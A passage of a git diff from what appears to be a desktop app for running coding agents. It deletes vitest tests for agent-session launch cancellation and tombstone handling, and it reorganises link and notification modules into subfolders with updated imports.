-  mocks.create.mockResolvedValue({ outcome: { status: 'created' }, hostTabId: 'actual-host-tab' })
-})
-
-it('cancels after asynchronous compatibility preparation without dispatching or reporting failure', async () => {
-  const settings = Promise.withResolvers<Awaited<ReturnType<typeof readHostAgentStartupSettings>>>()
-  mocks.settings.mockReturnValue(settings.promise)
-  const dispatch = vi.fn()
-  mocks.create.mockImplementation(async (args) => {
-    try {
-      const prepared = await args.legacyAgentLaunch?.()
-      dispatch(prepared)
-      return { outcome: { status: 'created' }, hostTabId: 'unexpected' }
-    } catch {
-      return { outcome: { status: 'failed', message: 'cancelled' } }
-    }
-  })
-  let cancelled = false
-  const launch = launchAgentInWebHostTab({
-    agent: 'goose',
-    worktreeId: 'wt',
-    environmentId: 'host',
-    prompt: 'held message',
-    promptDelivery: 'draft',
-    sessionOptions: { permissionMode: 'full-access' },
-    isCancelled: () => cancelled,
-    buildStartup: () => {
-      throw new Error('cancelled preparation must stop')
-    }
-  })
-  await vi.waitFor(() => expect(mocks.settings).toHaveBeenCalledOnce())
-  cancelled = true
-  settings.resolve({ agentCmdOverrides: {}, agentDefaultArgs: {} })
-  await expect(launch).resolves.toMatchObject({ delivered: false, failureNotified: false })
-  expect(dispatch).not.toHaveBeenCalled()
-  expect(mocks.paste).not.toHaveBeenCalled()
-  expect(mocks.error).not.toHaveBeenCalled()
-})
diff --git a/src/renderer/src/lib/launch-cancel-tombstones-compat/structured-agent-session-launch-cancellation.test.ts b/src/renderer/src/lib/launch-cancel-tombstones-compat/structured-agent-session-launch-cancellation.test.ts
deleted file mode 100644
index 5e37725b678..00000000000
--- a/src/renderer/src/lib/launch-cancel-tombstones-compat/structured-agent-session-launch-cancellation.test.ts
+++ /dev/null
@@ -1,396 +0,0 @@
-// @vitest-environment happy-dom
-
-import { markStructuredAgentSessionLaunchCancelled } from '../agent-session/launch/structured-agent-session-launch-cancel'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { StructuredLaunchSlotOwner } from '@/lib/agent-session/launch/structured-agent-session-launch-slot'
-import type { RuntimeMobileSessionTabsResult } from '../../../../shared/runtime-types'
-import { suppressCancelledStructuredSessionTabs } from '@/runtime/native-chat/tab-retirement/structured-agent-session-tab-retirement'
-import type { StructuredLaunchState } from '../agent-session/launch/structured-agent-session-launch-registry'
-import {
-  hasStructuredAgentSessionLaunchCancellationTombstone,
-  retireAbsentStructuredAgentSessionLaunchCancellationTombstones,
-  resetStructuredAgentLaunchRegistryForTests,
-  setStructuredLaunchState
-} from '../agent-session/launch/structured-agent-session-launch-registry'
-import { beginStructuredAgentSessionAuthoritativeInventory } from './structured-agent-session-launch-cancellation'
-import { resetStructuredAgentLaunchPersistenceForTests } from '../agent-session/launch/structured-agent-session-launch-persistence'
-import { refreshLocalStructuredSessionTabs } from '@/runtime/local-structured-session-tabs-sync/inventory-refresh'
-import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/layout-owner-switch'
-import type { ExecutionHostId } from '../../../../shared/execution-host'
-import type { RuntimeClientTarget } from '../../../../shared/runtime-client-target'
-import { useAppStore } from '@/store'
-import { layoutApplyTestTransport } from '@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture'
-import {
-  drawTabsFromMain,
-  type TabsDrawnFromMain
-} from '@/store/slices/tabs/tabs-drawn-from-main.test-fixture'
-import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture'
-
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeRpcClientWithLayoutApply(await importOriginal())
-)
-vi.mock('@/runtime/workspace-layout/frames/runtime-layout-client', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeLayoutClientWithTestFrames(await importOriginal())
-)
-
-const layoutOwner: StructuredLaunchSlotOwner = {
-  unifiedTabsByWorktree: {},
-  groupsByWorktree: {},
-  reorderUnifiedTabs: vi.fn()
-}
-
-const WORKTREE_ID = 'repo-1::worktree-1'
-const SESSION_ID = 'session-close-race'
-// Paired hosts always need window tombstones; layout-owner local builds use main’s cancel fence instead.
-const SERVER_HOST = 'runtime:server-1'
-const SERVER = { kind: 'environment', environmentId: 'server-1' } as const
-
-function latePublication(): RuntimeMobileSessionTabsResult {
-  return {
-    worktree: WORKTREE_ID,
-    publicationEpoch: 'epoch-late',
-    snapshotVersion: 1,
-    activeGroupId: 'group-1',
-    activeTabId: `agent-session:${SESSION_ID}`,
-    activeTabType: 'agent-session',
-    tabs: [
-      {
-        type: 'agent-session',
-        id: `agent-session:${SESSION_ID}`,
-        title: 'Codex Chat',
-        sessionId: SESSION_ID,
-        agent: 'codex',
-        isActive: true
-      }
-    ]
-  }
-}
-
-function setLaunch(
-  executionHostId: ExecutionHostId,
-  target: RuntimeClientTarget,
-  promise: Promise<{ sessionId: string; fence: number }>,
-  operation = 'close-race'
-): void {
-  setStructuredLaunchState({
-    identity: `codex:${WORKTREE_ID}`,
-    intent: {
-      worktreeId: WORKTREE_ID,
-      executionHostId,
-      target,
-      sessionId: SESSION_ID,
-      agent: 'codex',
-      params: {
-        envelope: {
-          sessionId: SESSION_ID,
-          clientOperationId: `operation-${operation}`,
-          expectedRuntimeFence: null,
-          payloadFingerprint: `fingerprint-${operation}`
-        },
-        worktree: `id:${WORKTREE_ID}`,
-        agent: 'codex'
-      }
-    },
-    promptDelivery: 'auto-submit',
-    callers: {
-      outcome: 'pending',
-      attempt: { kind: 'first', requestId: 'plus-pick', stagedPrompt: null },
-      entries: new Set(),
-      promptDeliveryResults: new Set(),
-      onSettled: () => undefined
-    },
-    promise,
-    visibilityUnknown: false,
-    cancelled: false,
-    selection: {}
-  } satisfies StructuredLaunchState)
-}
-
-/** The cancelled launch's late publication stays hidden until the launch settles, on `host`. */
-async function expectLatePublicationSuppressed(
-  host: ExecutionHostId,
-  target: RuntimeClientTarget
-): Promise<void> {
-  let resolveLaunch!: (receipt: { sessionId: string; fence: number }) => void
-  setLaunch(
-    host,
-    target,
-    new Promise((resolve) => {
-      resolveLaunch = resolve
-    })
-  )
-  const beforeCancel = beginStructuredAgentSessionAuthoritativeInventory()
-  expect(
-    retireAbsentStructuredAgentSessionLaunchCancellationTombstones(new Set(), beforeCancel, host)
-  ).toBe(false)
-  markStructuredAgentSessionLaunchCancelled(WORKTREE_ID, SESSION_ID, host, layoutOwner)
-  const afterCancel = beginStructuredAgentSessionAuthoritativeInventory()
-  expect(
-    retireAbsentStructuredAgentSessionLaunchCancellationTombstones(new Set(), afterCancel, host)
-  ).toBe(false)
-  expect(hasStructuredAgentSessionLaunchCancellationTombstone(WORKTREE_ID, SESSION_ID)).toBe(true)
-
-  resolveLaunch({ sessionId: SESSION_ID, fence: 1 })
-  await Promise.resolve()
-  expect(suppressCancelledStructuredSessionTabs(latePublication(), target).tabs).toEqual([])
-  expect(hasStructuredAgentSessionLaunchCancellationTombstone(WORKTREE_ID, SESSION_ID)).toBe(true)
-  expect(
-    retireAbsentStructuredAgentSessionLaunchCancellationTombstones(new Set(), beforeCancel, host)
-  ).toBe(false)
-
-  const afterSettlement = beginStructuredAgentSessionAuthoritativeInventory()
-  expect(
-    retireAbsentStructuredAgentSessionLaunchCancellationTombstones(new Set(), afterSettlement, host)
-  ).toBe(true)
-  expect(hasStructuredAgentSessionLaunchCancellationTombstone(WORKTREE_ID, SESSION_ID)).toBe(false)
-}
-
-const TERMINAL = 'terminal-1'
-let main: TabsDrawnFromMain | null = null
-
-async function drawWorktreeFromMain(): Promise<void> {
-  useAppStore.setState({
-    worktreesByRepo: { 'repo-1': [makeWorktree({ id: WORKTREE_ID, repoId: 'repo-1' })] },
-    tabsByWorktree: {
-      [WORKTREE_ID]: [
-        {
-          id: TERMINAL,
-          ptyId: null,
-          worktreeId: WORKTREE_ID,
-          title: 'Terminal 1',
-          customTitle: null,
-          color: null,
-          sortOrder: 0,
-          createdAt: 1
-        }
-      ]
-    },
-    unifiedTabsByWorktree: {
-      [WORKTREE_ID]: [
-        {
-          id: TERMINAL,
-          entityId: TERMINAL,
-          groupId: 'group-1',
-          worktreeId: WORKTREE_ID,
-          contentType: 'terminal',
-          label: 'Terminal 1',
-          customLabel: null,
-          color: null,
-          sortOrder: 0,
-          createdAt: 1
-        }
-      ]
-    },
-    groupsByWorktree: {
-      [WORKTREE_ID]: [
-        { id: 'group-1', worktreeId: WORKTREE_ID, activeTabId: TERMINAL, tabOrder: [TERMINAL] }
-      ]
-    },
-    activeGroupIdByWorktree: { [WORKTREE_ID]: 'group-1' },
-    layoutByWorktree: { [WORKTREE_ID]: { type: 'leaf', groupId: 'group-1' } }
-  })
-  main = await drawTabsFromMain(useAppStore)
-}
-
-async function shownChat(): Promise<{ drawn: boolean; inMain: boolean; opened: boolean }> {
-  await main?.settle()
-  return {
-    drawn: (useAppStore.getState().unifiedTabsByWorktree[WORKTREE_ID] ?? []).some(
-      (tab) => tab.entityId === SESSION_ID
-    ),
-    inMain: (layoutApplyTestTransport.mainModel?.workspaces[WORKTREE_ID]?.tabs ?? []).some(
-      (tab) => tab.entityId === SESSION_ID
-    ),
-    opened: layoutApplyTestTransport
-      .sentOfType('openAgentSessionTab')
-      .some((command) => command.sessionId === SESSION_ID)
-  }
-}
-
-const NOT_SHOWN = { drawn: false, inMain: false, opened: false }
-
-afterEach(() => {
-  main?.close()
-  main = null
-})
-
-describe('structured launch cancellation retirement', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    localStorage.clear()
-    resetStructuredAgentLaunchPersistenceForTests()
-    resetStructuredAgentLaunchRegistryForTests()
-    Object.defineProperty(window, 'api', {
-      configurable: true,
-      value: {
-        runtime: {
-          call: vi.fn().mockResolvedValue({ ok: true, result: {} })
-        }
-      }
-    })
-  })
-
-  it('keeps a paired server’s late publication suppressed until the cancelled launch settles', async () => {
-    await expectLatePublicationSuppressed(SERVER_HOST, SERVER)
-  })
-
-  // A runtime refused its chats answers with no chat rows; that absence is not the host's answer.
-  // Switch on, this machine keeps no tombstone: main's fence is in its close-before-create test.
-  it.skipIf(ORCA_LAYOUT_OWNER_IS_MAIN)(
-    'keeps a tombstone through an inventory that cannot list chats',
-    async () => {
-      setStructuredLaunchState({
-        identity: `codex:${WORKTREE_ID}`,
-        intent: {
-          worktreeId: WORKTREE_ID,
-          executionHostId: 'local',
-          target: { kind: 'local' },
-          sessionId: SESSION_ID,
-          agent: 'codex',
-          params: {
-            envelope: {
-              sessionId: SESSION_ID,
-              clientOperationId: 'operation-unverifiable',
-              expectedRuntimeFence: null,
-              payloadFingerprint: 'fingerprint-unverifiable'
-            },
-            worktree: `id:${WORKTREE_ID}`,
-            agent: 'codex'
-          }
-        },
-        promptDelivery: 'auto-submit',
-        callers: {
-          outcome: 'pending',
-          attempt: { kind: 'first', requestId: 'plus-pick', stagedPrompt: null },
-          entries: new Set(),
-          promptDeliveryResults: new Set(),
-          onSettled: () => undefined
-        },
-        promise: Promise.resolve({ sessionId: SESSION_ID, fence: 1 }),
-        visibilityUnknown: false,
-        cancelled: false,
-        selection: {}
-      } satisfies StructuredLaunchState)
-      markStructuredAgentSessionLaunchCancelled(WORKTREE_ID, SESSION_ID, 'local', layoutOwner)
-      await new Promise((resolve) => setTimeout(resolve, 0))
-      const frame = (unverifiable: boolean): RuntimeMobileSessionTabsResult => ({
-        ...latePublication(),
-        activeTabId: null,
-        activeTabType: null,
-        tabs: [],
-        ...(unverifiable ? { agentSessionsUnverifiable: true as const } : {})
-      })
-      const call = vi.fn()
-      Object.defineProperty(window, 'api', { configurable: true, value: { runtime: { call } } })
-
-      call.mockResolvedValue({
-        ok: true,
-        result: { snapshots: [frame(true)], authoritative: true }
-      })
-      await refreshLocalStructuredSessionTabs()
-      expect(hasStructuredAgentSessionLaunchCancellationTombstone(WORKTREE_ID, SESSION_ID)).toBe(
-        true
-      )
-
-      call.mockResolvedValue({
-        ok: true,
-        result: { snapshots: [frame(false)], authoritative: true }
-      })
-      await refreshLocalStructuredSessionTabs()
-      expect(hasStructuredAgentSessionLaunchCancellationTombstone(WORKTREE_ID, SESSION_ID)).toBe(
-        false
-      )
-    }
-  )
-
-  it.skipIf(ORCA_LAYOUT_OWNER_IS_MAIN)(
-    'drains a restored cancellation before a newer inventory retires it',
-    async () => {
-      markStructuredAgentSessionLaunchCancelled(WORKTREE_ID, SESSION_ID, 'local', layoutOwner)
-      resetStructuredAgentLaunchRegistryForTests()
-      resetStructuredAgentLaunchPersistenceForTests()
-
-      const close = Promise.withResolvers<void>()
-      const call = vi.fn(({ method }: { method: string }) => {
-        if (method === 'agentSession.close') {
-          return close.promise.then(() => ({ ok: true, result: { ok: true } }))
-        }
-        return Promise.resolve({ ok: true, result: { snapshots: [], authoritative: true } })
-      })
-      Object.defineProperty(window, 'api', {
-        configurable: true,
-        value: { runtime: { call } }
-      })
-
-      await refreshLocalStructuredSessionTabs(undefined, { authoritative: true })
-
-      expect(call.mock.calls.map(([request]) => request.method)).toEqual([
-        'agentSession.close',
-        'session.tabs.listAll'
-      ])
-      expect(hasStructuredAgentSessionLaunchCancellationTombstone(WORKTREE_ID, SESSION_ID)).toBe(
-        true
-      )
-
-      // The close shares the host's session lane with create, so settlement drains a late attach.
-      close.resolve()
-      await close.promise
-      await new Promise((resolve) => setTimeout(resolve, 0))
-      await refreshLocalStructuredSessionTabs()
-
-      expect(hasStructuredAgentSessionLaunchCancellationTombstone(WORKTREE_ID, SESSION_ID)).toBe(
-        false
-      )
-      expect(
-        call.mock.calls.filter(([request]) => request.method === 'agentSession.close')
-      ).toHaveLength(1)
-    }
-  )
-
-  // An older switch-off build saved the tombstone; this build drains it on its first inventory.
-  it.runIf(ORCA_LAYOUT_OWNER_IS_MAIN)(
-    'drains a tombstone an older build saved: one close, and main shows no chat',
-    async () => {
-      localStorage.setItem(
-        'orca:structuredAgentLaunchCancelledSessions:v1',
-        JSON.stringify([SESSION_ID])
-      )
-      resetStructuredAgentLaunchPersistenceForTests()
-      await drawWorktreeFromMain()
-
-      const close = Promise.withResolvers<void>()
-      const call = vi.fn(({ method }: { method: string }) => {
-        if (method === 'agentSession.close') {
-          return close.promise.then(() => ({ ok: true, result: { ok: true } }))
-        }
-        return Promise.resolve({ ok: true, result: { snapshots: [], authoritative: true } })
-      })
-      Object.defineProperty(window, 'api', { configurable: true, value: { runtime: { call } } })
-
-      await refreshLocalStructuredSessionTabs(undefined, { authoritative: true })
-      expect(call.mock.calls.map(([request]) => request.method)).toEqual([
-        'agentSession.close',
-        'session.tabs.listAll'
-      ])
-      expect(hasStructuredAgentSessionLaunchCancellationTombstone(WORKTREE_ID, SESSION_ID)).toBe(
-        true
-      )
-
-      close.resolve()
-      await close.promise
-      await new Promise((resolve) => setTimeout(resolve, 0))
-      await refreshLocalStructuredSessionTabs()
-      expect(hasStructuredAgentSessionLaunchCancellationTombstone(WORKTREE_ID, SESSION_ID)).toBe(
-        false
-      )
-      expect(
-        call.mock.calls.filter(([request]) => request.method === 'agentSession.close')
-      ).toHaveLength(1)
-      expect(await shownChat()).toEqual(NOT_SHOWN)
-    }
-  )
-})
diff --git a/src/renderer/src/lib/launch-parity-workspace-start.test-fixture.ts b/src/renderer/src/lib/launch-parity-workspace-start.test-fixture.ts
deleted file mode 100644
index df21a8cfdf0..00000000000
--- a/src/renderer/src/lib/launch-parity-workspace-start.test-fixture.ts
+++ /dev/null
@@ -1,100 +0,0 @@
-// Run workspace-seeded launch producers against the real parity store; stub only setup/trust/detection/workspace creation.
-import type { LaunchTestStore } from './launch-parity-renderer.test-fixture'
-import type * as WorkItemLaunch from '@/lib/workspace/creation/work-item/launch-work-item-direct'
-import type * as FolderComposerSubmit from '@/components/sidebar/workspace-creation/folder/folder-workspace-composer-submit'
-import {
-  resolveTuiAgentLaunchArgs,
-  resolveTuiAgentLaunchEnv
-} from '../../../shared/agent-launch/choices/tui-agent-launch-defaults'
-import {
-  LAUNCH_FOLDER_ID,
-  type WindowLaunchCase
-} from '../../../shared/agent-launch/fixtures/launch-parity-window-request.test-fixture'
-
-type WorkspaceStartProducer = Extract<
-  WindowLaunchCase['producer'],
-  { kind: 'work-item' | 'folder-composer' }
->
-
-export type WorkspaceStartModules = {
-  workItem: typeof WorkItemLaunch
-  folder: typeof FolderComposerSubmit
-}
-
-export const loadWorkspaceStartModules = async (): Promise<WorkspaceStartModules> => ({
-  workItem: await import('@/lib/workspace/creation/work-item/launch-work-item-direct'),
-  folder:
-    await import('@/components/sidebar/workspace-creation/folder/folder-workspace-composer-submit')
-})
-
-export async function startWorkspaceAgent(
-  modules: WorkspaceStartModules,
-  store: LaunchTestStore,
-  c: WindowLaunchCase & { producer: WorkspaceStartProducer }
-): Promise<void> {
-  const { producer } = c
-  const state = store.getState()
-  // Stub PR refresh without a bridge and let timers drive post-start paste.
-  Object.assign(window.api, { gh: {} })
-  Object.assign(window, { setTimeout, clearTimeout })
-  store.setState({
-    ensureDetectedAgents: async () => [producer.agent],
-    updateWorktreeMeta: async () => ({ ok: true })
-  })
-  if (producer.kind === 'work-item') {
-    const worktree = state.worktreesByRepo['repo-1']?.[0]
-    store.setState({ createWorktree: async () => ({ worktree }) })
-    const started = await modules.workItem.launchWorkItemDirect({
-      item: {
-        title: 'Fix the bug',
-        url: 'https://github.com/acme/repo/issues/7',
-        type: 'issue',
-        number: 7,
-        pasteContent: producer.text
-      },
-      repoId: 'repo-1',
-      launchSource: 'task_page',
-      telemetrySource: 'sidebar',
-      agentOverride: producer.agent,
-      promptDelivery: producer.delivery,
-      openModalFallback: () => {
-        throw new Error(`${c.name}: fell back to the modal`)
-      }
-    })
-    if (!started) {
-      throw new Error(`${c.name}: the work item started no agent`)
-    }
-    return
-  }
-  const folderWorkspace = state.folderWorkspaces.find(
-    (workspace) => `folder:${workspace.id}` === LAUNCH_FOLDER_ID
-  )
-  const settings = state.settings
-  await modules.folder.submitFolderWorkspaceCreate({
-    projectGroup: {
-      id: 'pg-1',
-      name: 'group',
-      parentPath: c.workspace.path,
-      parentGroupId: null,
-      createdFrom: 'manual',
-      tabOrder: 0,
-      isCollapsed: false,
-      color: null,
-      createdAt: 0,
-      updatedAt: 0
-    },
-    name: 'folder',
-    lastAutoName: '',
-    linkedWorkItem: null,
-    note: producer.note,
-    quickAgent: producer.agent,
-    autoRenameBranchFromWork: false,
-    agentCmdOverrides: settings?.agentCmdOverrides,
-    agentArgs: resolveTuiAgentLaunchArgs(producer.agent, settings),
-    agentEnv: resolveTuiAgentLaunchEnv(producer.agent, settings),
-    terminalWindowsShell: settings?.terminalWindowsShell,
-    launchSource: 'new_workspace_composer',
-    createFolderWorkspace: async () => folderWorkspace ?? null,
-    onOpenChange: () => {}
-  })
-}
diff --git a/src/renderer/src/lib/link-source-local-open-owner.test.ts b/src/renderer/src/lib/link-source-local-open-owner.test.ts
deleted file mode 100644
index 7a174a64eb2..00000000000
--- a/src/renderer/src/lib/link-source-local-open-owner.test.ts
+++ /dev/null
@@ -1,32 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import { getLinkSourceLocalOpenOwner } from './link-source-local-open-owner'
-import { isLocalPathOpenBlocked } from './files/os-open/local-path-open-guard'
-
-const WORKTREE_ID = 'repo-1::/srv/worktree'
-
-function stateWithWorktreeHost(hostId: 'local' | 'runtime:env-1') {
-  return {
-    // A focused server must not decide where a document lives.
-    settings: { activeRuntimeEnvironmentId: 'env-1' },
-    worktreesByRepo: { 'repo-1': [{ id: WORKTREE_ID, repoId: 'repo-1', hostId }] }
-  }
-}
-
-describe('getLinkSourceLocalOpenOwner', () => {
-  it('allows a local worktree document while a server is focused', () => {
-    const owner = getLinkSourceLocalOpenOwner(
-      stateWithWorktreeHost('local'),
-      { kind: 'local' },
-      WORKTREE_ID
-    )
-    expect(owner).toBe('local')
-    expect(isLocalPathOpenBlocked(owner)).toBe(false)
-  })
-
-  it('refuses a runtime-owned document that reports no connection', () => {
-    const state = { ...stateWithWorktreeHost('runtime:env-1'), settings: null }
-    const owner = getLinkSourceLocalOpenOwner(state, { kind: 'local' }, WORKTREE_ID)
-    expect(owner).toBe('runtime:env-1')
-    expect(isLocalPathOpenBlocked(owner)).toBe(true)
-  })
-})
diff --git a/src/renderer/src/lib/link-open-request.ts b/src/renderer/src/lib/links/link-open-request.ts
similarity index 100%
rename from src/renderer/src/lib/link-open-request.ts
rename to src/renderer/src/lib/links/link-open-request.ts
diff --git a/src/renderer/src/lib/link-source-local-open-owner.ts b/src/renderer/src/lib/links/ownership/link-source-local-open-owner.ts
similarity index 64%
rename from src/renderer/src/lib/link-source-local-open-owner.ts
rename to src/renderer/src/lib/links/ownership/link-source-local-open-owner.ts
index 9cabdeee1e8..a4fefa7438e 100644
--- a/src/renderer/src/lib/link-source-local-open-owner.ts
+++ b/src/renderer/src/lib/links/ownership/link-source-local-open-owner.ts
@@ -1,11 +1,11 @@
 import {
   toRuntimeExecutionHostId,
-  toSshExecutionHostId,
-  type ExecutionHostId
-} from '../../../shared/execution-host'
-import type { HttpLinkSourceOwner } from './browser/navigation/http-link-routing'
-import { getResolvedExecutionHostIdForWorktree } from './resolved-worktree-execution-host'
-import type { WorktreeRuntimeOwnerState } from './workspace/ownership/worktree-runtime-owner-state'
+  toSshExecutionHostId
+} from '../../../../../shared/execution-host'
+import type { ExecutionHostId } from '../../../../../shared/execution-host'
+import { getResolvedExecutionHostIdForWorktree } from '../../workspace/ownership/resolved-worktree-execution-host'
+import type { HttpLinkSourceOwner } from '../../browser/navigation/http-link-routing'
+import type { WorktreeRuntimeOwnerState } from '../../workspace/ownership/worktree-runtime-owner-state'
 
 /** The host that owns a link's source document, for the local-open guard. */
 export function getLinkSourceLocalOpenOwner(
diff --git a/src/renderer/src/lib/adjacent-link-open-group.ts b/src/renderer/src/lib/links/placement/adjacent-link-open-group.ts
similarity index 98%
rename from src/renderer/src/lib/adjacent-link-open-group.ts
rename to src/renderer/src/lib/links/placement/adjacent-link-open-group.ts
index 330119bc847..ae4c5c8e3e1 100644
--- a/src/renderer/src/lib/adjacent-link-open-group.ts
+++ b/src/renderer/src/lib/links/placement/adjacent-link-open-group.ts
@@ -1,4 +1,4 @@
-import type { TabGroup, TabGroupLayoutNode } from '../../../shared/tab-types'
+import type { TabGroup, TabGroupLayoutNode } from '../../../../../shared/tab-types'
 import type { TabSplitTarget } from '@/store/slices/tabs/tabs-slice-contract'
 
 type LayoutRect = { left: number; top: number; right: number; bottom: number }
diff --git a/src/renderer/src/lib/link-open-intent.ts b/src/renderer/src/lib/links/placement/link-open-intent.ts
similarity index 95%
rename from src/renderer/src/lib/link-open-intent.ts
rename to src/renderer/src/lib/links/placement/link-open-intent.ts
index 8584c4309aa..739eb7313c0 100644
--- a/src/renderer/src/lib/link-open-intent.ts
+++ b/src/renderer/src/lib/links/placement/link-open-intent.ts
@@ -1,8 +1,8 @@
-import type { AppState } from '@/store/types'
-import type { Tab } from '../../../shared/tab-types'
-import type { EditorOpenLinkIntent } from '@/store/slices/editor/types/editor-open-link-intent'
-import { collectTabGroupLayoutGroupIds } from '../../../shared/workspace-layout/tab-group-moves'
+import { collectTabGroupLayoutGroupIds } from '../../../../../shared/workspace-layout/tab-group-moves'
 import { resolveLinkOpenSidePlacement } from './adjacent-link-open-group'
+import type { AppState } from '@/store/types'
+import type { Tab } from '../../../../../shared/tab-types'
+import type { EditorOpenLinkIntent } from '@/store/slices/editor/types/editor-open-link-intent'
 
 export type LinkOpenIntent = EditorOpenLinkIntent & { initialGroupId?: string }
 export type LinkSourceTab = Pick<Tab, 'id' | 'entityId' | 'groupId'> &
diff --git a/src/renderer/src/lib/blocked-notification-fallback.ts b/src/renderer/src/lib/notifications/blocked-notification-fallback.ts
similarity index 100%
rename from src/renderer/src/lib/blocked-notification-fallback.ts
rename to src/renderer/src/lib/notifications/blocked-notification-fallback.ts
diff --git a/src/renderer/src/lib/desktop-notification-sound.ts b/src/renderer/src/lib/notifications/desktop-notification-sound.ts
similarity index 100%
rename from src/renderer/src/lib/desktop-notification-sound.ts
rename to src/renderer/src/lib/notifications/desktop-notification-sound.ts
diff --git a/src/renderer/src/lib/notification-card-layout-vars.ts b/src/renderer/src/lib/notifications/notification-card-layout-vars.ts
similarity index 100%
rename from src/renderer/src/lib/notification-card-layout-vars.ts
rename to src/renderer/src/lib/notifications/notification-card-layout-vars.ts
diff --git a/src/renderer/src/lib/notification-card-stack-height.ts b/src/renderer/src/lib/notifications/notification-card-stack-height.ts
similarity index 100%
rename from src/renderer/src/lib/notification-card-stack-height.ts
rename to src/renderer/src/lib/notifications/notification-card-stack-height.ts
diff --git a/src/renderer/src/lib/terminal-shortcut-capture-notification.tsx b/src/renderer/src/lib/notifications/terminal-shortcut-capture-notification.tsx
similarity index 85%
rename from src/renderer/src/lib/terminal-shortcut-capture-notification.tsx
rename to src/renderer/src/lib/notifications/terminal-shortcut-capture-notification.tsx
index 91b3def6458..bed82a38dfd 100644
--- a/src/renderer/src/lib/terminal-shortcut-capture-notification.tsx
+++ b/src/renderer/src/lib/notifications/terminal-shortcut-capture-notification.tsx
@@ -1,14 +1,14 @@
 import { Keyboard } from 'lucide-react'
 import { toast } from 'sonner'
+import '../../../../shared/keybindings'
+import { formatKeybindingList } from '../../../../shared/keybindings/formatting'
 import {
-  formatKeybindingList,
   getEffectiveKeybindingsForAction,
-  getKeybindingDefinition,
-  isKeybindingPotentialTerminalConflict,
-  type KeybindingActionId,
-  type KeybindingOverrides
-} from '../../../shared/keybindings'
-import { useAppStore } from '../store'
+  isKeybindingPotentialTerminalConflict
+} from '../../../../shared/keybindings/effective'
+import { getKeybindingDefinition } from '../../../../shared/keybindings/definitions'
+import type { KeybindingActionId, KeybindingOverrides } from '../../../../shared/keybindings/types'
+import { useAppStore } from '../../store/index'
 import { translate } from '@/i18n/i18n'
 import { localizedKeybindingTitle } from '@/components/settings/shortcuts/keybinding-title-copy'
 
diff --git a/src/renderer/src/lib/open-agent-message-sender.test.ts b/src/renderer/src/lib/open-agent-message-sender.test.ts
deleted file mode 100644
index 49f95f052f8..00000000000
--- a/src/renderer/src/lib/open-agent-message-sender.test.ts
+++ /dev/null
@@ -1,175 +0,0 @@
-import { beforeEach, expect, it, vi } from 'vitest'
-import type { Tab } from '../../../shared/tab-types'
-import type {
-  AgentMessageSource,
-  AgentMessageSender
-} from '../../../shared/agent-session/agent-session-message-source'
-
-const mocks = vi.hoisted(() => {
-  const unifiedTabsByWorktree: Record<string, Tab[]> = {}
-  return {
-    rpc: vi.fn(),
-    focus: vi.fn(),
-    remoteFocus: vi.fn(),
-    info: vi.fn(),
-    toast: vi.fn(),
-    reveal: vi.fn(),
-    activate: vi.fn(),
-    group: vi.fn(),
-    type: vi.fn(),
-    state: {
-      agentStatusByPaneKey: {},
-      retainedAgentsByPaneKey: {},
-      activeWorktreeId: 'wt-chat',
-      activeWorkspaceExecutionHostId: 'local' as const,
-      unifiedTabsByWorktree
-    }
-  }
-})
-vi.mock('sonner', () => ({ toast: { error: mocks.toast, info: mocks.info } }))
-vi.mock('@/store', () => ({
-  useAppStore: {
-    getState: () => ({
-      ...mocks.state,
-      activateTab: mocks.activate,
-      focusGroup: mocks.group,
-      setActiveTabType: mocks.type
-    })
-  }
-}))
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (original) => ({
-  ...(await original<Record<string, unknown>>()),
-  callRuntimeRpc: mocks.rpc
-}))
-vi.mock('@/runtime/rpc/compatibility/runtime-capability-proof', async (original) => ({
-  ...(await original<Record<string, unknown>>()),
-  runtimeEnvironmentSupportsCapability: async () => true
-}))
-vi.mock('@/components/terminal-pane/links/handles/terminal-handle-links', () => ({
-  focusRendererTerminalHandle: mocks.focus,
-  focusRuntimeTerminalHandle: mocks.remoteFocus
-}))
-vi.mock('./workspace/activation/worktree-activation', () => ({
-  activateAndRevealWorktree: mocks.reveal
-}))
-vi.mock('./workspace/activation/wsl-moved-chat-activation', () => ({
-  activateWslMovedWorkspace: () => false
-}))
-import { openAgentMessageSender } from './open-agent-message-sender'
-import { RuntimeRpcCallError } from '@/runtime/rpc/calls/runtime-rpc-result'
-const host = { kind: 'environment', environmentId: 'remote-2' } as const
-const party: AgentMessageSender['party'] = {
-  address: 'term_worker',
-  terminalHandle: 'term_worker',
-  orcaSessionId: null
-}
-function source(p = party): AgentMessageSource {
-  return {
-    kind: 'agent',
-    senders: [{ party: p, name: 'Worker with spaces' }],
-    orchestration: {
-      message: 'mail-notice',
-      mailbox: 'run:r',
-      dispatchId: null,
-      messages: [
-        { messageId: 'm1', runId: 'r', from: p.address },
-        { messageId: 'other', runId: 'r', from: 'other' }
-      ]
-    }
-  }
-}
-function open(p = party) {
-  const s = source(p)
-  return openAgentMessageSender(s, s.senders[0]!, 'wt-chat', host)
-}
-beforeEach(() => {
-  vi.clearAllMocks()
-  mocks.state.unifiedTabsByWorktree = {}
-  mocks.focus.mockReturnValue(true)
-  mocks.rpc.mockResolvedValue({ ok: true })
-})
-it.each([
-  ['success', null],
-  ...['terminal_exited', 'terminal_gone', 'terminal_handle_stale', 'terminal_not_found'].map(
-    (code) => [code, 'gone'] as const
-  ),
-  ['request_timeout', 'retry'],
-  ['runtime_compat_block', 'update']
-] as const)(
-  'settles runtime terminal focus for %s and permits a genuine next click',
-  async (code, feedback) => {
-    mocks.focus.mockReturnValue(false)
-    mocks.rpc.mockResolvedValue({ location: { kind: 'terminal', handle: 'current' } })
-    const focus = Promise.withResolvers<void>()
-    mocks.remoteFocus.mockReturnValueOnce(focus.promise).mockResolvedValue(undefined)
-    let settled = false
-    const opening = open().then(() => {
-      settled = true
-    })
-    await vi.waitFor(() =>
